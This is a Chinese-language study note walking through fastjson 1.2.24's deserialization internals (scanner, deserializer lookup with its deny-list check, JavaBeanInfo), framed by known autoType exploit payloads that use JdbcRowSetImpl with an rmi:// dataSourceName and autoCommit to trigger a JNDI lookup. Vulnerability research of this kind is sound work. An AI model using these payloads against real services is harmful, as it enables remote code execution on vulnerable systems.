fastjson 1.2.24反序列化过程学习

        String jsonString = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"f\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/adas\",\"autoCommit\":true}}";
        Group group = JSON.parseObject(jsonString, Group.class);

    protected int                            token;
    protected int                            pos;
    protected int                            features;

    protected char                           ch;
    protected int                            bp;//当前指向的位置

    protected int                            eofPos;
    /**
     * A character buffer for literals.
     */
    protected char[]                         sbuf;
    protected int                            sp;

    /**
     * number start position
     */
    protected int                            np;

private final String text; //反序列化的字符串
private final int    len;//字符串长度

//将bp指针指向下一个字符，如果到末尾则返回eoi，否则返回当前指向的字符   
public final char next() {
        int index = ++bp;
        return ch = (index >= this.len ? //
            EOI //
            : text.charAt(index));
    }

    public JSONScanner(String input, int features){
        super(features);

        text = input;
        len = text.length();
        bp = -1;

        next();
        if (ch == 65279) { // utf-8 bom
            next();
        }
    }

 public ObjectDeserializer getDeserializer(Type type) {
     //首先会在已有的deserializer中找，this.derializers是一个hashmap
        ObjectDeserializer derializer = this.derializers.get(type);
        if (derializer != null) {
            return derializer;
        }
     //没有找着就接着找
        if (type instanceof Class<?>) {
            return getDeserializer((Class<?>) type, type);
        }
………………省略……………………
    }

    public ObjectDeserializer getDeserializer(Class<?> clazz, Type type) {
        //继续匹配
        ObjectDeserializer derializer = derializers.get(type);
        if (derializer != null) {
            return derializer;
        }

        if (type == null) {
            type = clazz;
        }
        //继续匹配
        derializer = derializers.get(type);
        if (derializer != null) {
            return derializer;
        }

        {
            JSONType annotation = clazz.getAnnotation(JSONType.class);
            if (annotation != null) {
                Class<?> mappingTo = annotation.mappingTo();
                if (mappingTo != Void.class) {
                    return getDeserializer(mappingTo, mappingTo);
                }
            }
        }
//判断是否是泛型相关的接口的实例，至于什么是泛型接口的实例，咱也不知道
        if (type instanceof WildcardType || type instanceof TypeVariable || type instanceof ParameterizedType) {
            derializer = derializers.get(clazz);
        }

        if (derializer != null) {
            return derializer;
        }
//反序列化的类是否在denyList中
        String className = clazz.getName();
        className = className.replace('$', '.');
        for (int i = 0; i < denyList.length; ++i) {
            String deny = denyList[i];
            if (className.startsWith(deny)) {
                throw new JSONException("parser deny : " + className);
            }
        }

    //其中定义的一些成员变量
	private final FieldDeserializer[]   fieldDeserializers;
    protected final FieldDeserializer[] sortedFieldDeserializers;
    protected final Class<?>            clazz;
    public final JavaBeanInfo           beanInfo;
    private ConcurrentMap<String, Object> extraFieldDeserializers;

public JavaBeanInfo(Class<?> clazz, //
                        Class<?> builderClass, //
                        Constructor<?> defaultConstructor, //
                        Constructor<?> creatorConstructor, //
                        Method factoryMethod, //
                        Method buildMethod, //
                        JSONType jsonType, //
                        List<FieldInfo> fieldList){
        this.clazz = clazz;
        this.builderClass = builderClass;
        this.defaultConstructor = defaultConstructor;
        this.creatorConstructor = creatorConstructor;
        this.factoryMethod = factoryMethod;
        this.parserFeatures = TypeUtils.getParserFeatures(clazz);
        this.buildMethod = buildMethod;

    ....省略.....

        fields = new FieldInfo[fieldList.size()];
        fieldList.toArray(fields);

        FieldInfo[] sortedFields = new FieldInfo[fields.length];
        System.arraycopy(fields, 0, sortedFields, 0, fields.length);
        Arrays.sort(sortedFields);

    ....省略.....
   
    }

String jsonString = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"f\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/adas\",\"autoCommit\":true}}";

String jsonString = "{\"name\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/adas\",\"autoCommit\":true}}";